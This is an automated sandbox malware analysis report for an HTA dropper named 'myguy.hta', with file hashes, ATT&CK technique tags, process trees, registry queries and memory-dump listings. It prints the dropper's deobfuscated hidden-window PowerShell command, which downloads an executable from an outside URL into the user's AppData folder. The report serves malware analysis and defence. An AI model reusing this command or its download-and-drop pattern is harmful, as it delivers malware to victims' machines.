bab1853454ca6fdd3acd471254101db1b805b601e309a49ec7b4b1fbcfc47ad7

Resubmissions

01-03-2024 20:38

240301-ze5pesdb79 3

01-03-2024 20:03

240301-ysybtsce5x 3

01-03-2024 18:44

240301-xdmfcabg67 3

01-03-2024 17:56

240301-wjhhxabb92 10

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
01-03-2024 17:56

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General

Target

myguy.hta
Size

13KB
MD5

0487382a4daf8eb9660f1c67e30f8b25
SHA1

736752744122a0b5ee4b95ddad634dd225dc0f73
SHA256

ee29b9c01318a1e23836b949942db14d4811246fdae2f41df9f0dcd922c63bc6
SHA512

e1e7d81d54efd526139ea8ac792ed2035c8e70f040319c0b65f723431d31077c7a6927553890c99151f2354f51c4020ed94e0e2e5d56386c2fc4828e95869106
SSDEEP

192:ScIsmNvaHz65bP/U/njs3NH0Z0UvDVE6Az6XVHBycT6iLMUpJ2seCYHlfeb:SPXTmnjs3BU9A27BNLMUTb

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://french-cooking.com/myguy.exe

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

15 3284 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2432 2572 WerFault.exe mshta.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3284 powershell.exe
3284 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3284 powershell.exe

flow	pid	process
15	3284	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	mshta.exe

pid	pid_target	process	target process
2432	2572	WerFault.exe	mshta.exe

pid	process
3284	powershell.exe
3284	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3284	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

mshta.exe

description	pid	process	target process
PID 2572 wrote to memory of 3284	2572	mshta.exe	powershell.exe
PID 2572 wrote to memory of 3284	2572	mshta.exe	powershell.exe
PID 2572 wrote to memory of 3284	2572	mshta.exe	powershell.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\myguy.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2572 -s 1288
2⤵
- Program crash
PID:2432

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://french-cooking.com/myguy.exe', 'C:\Users\Admin\AppData\Roaming\62125.exe');
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2572 -ip 2572
1⤵
PID:2860

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f3tmzfgi.qpy.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3284-3-0x0000000004A20000-0x0000000004A30000-memory.dmp

Filesize
64KB

Download
memory/3284-6-0x0000000005790000-0x00000000057F6000-memory.dmp

Filesize
408KB

Download
memory/3284-0-0x0000000002820000-0x0000000002856000-memory.dmp

Filesize
216KB

Download
memory/3284-4-0x0000000005060000-0x0000000005688000-memory.dmp

Filesize
6.2MB

Download
memory/3284-5-0x0000000004E50000-0x0000000004E72000-memory.dmp

Filesize
136KB

Download
memory/3284-1-0x0000000070E30000-0x00000000715E0000-memory.dmp

Filesize
7.7MB

Download
memory/3284-9-0x0000000005800000-0x0000000005866000-memory.dmp

Filesize
408KB

Download
memory/3284-2-0x0000000004A20000-0x0000000004A30000-memory.dmp

Filesize
64KB

Download
memory/3284-17-0x0000000005970000-0x0000000005CC4000-memory.dmp

Filesize
3.3MB

Download
memory/3284-18-0x0000000005E00000-0x0000000005E1E000-memory.dmp

Filesize
120KB

Download
memory/3284-19-0x0000000005E40000-0x0000000005E8C000-memory.dmp

Filesize
304KB

Download
memory/3284-21-0x00000000062F0000-0x000000000630A000-memory.dmp

Filesize
104KB

Download
memory/3284-20-0x0000000007600000-0x0000000007C7A000-memory.dmp

Filesize
6.5MB

Download
memory/3284-24-0x0000000070E30000-0x00000000715E0000-memory.dmp

Filesize
7.7MB

Download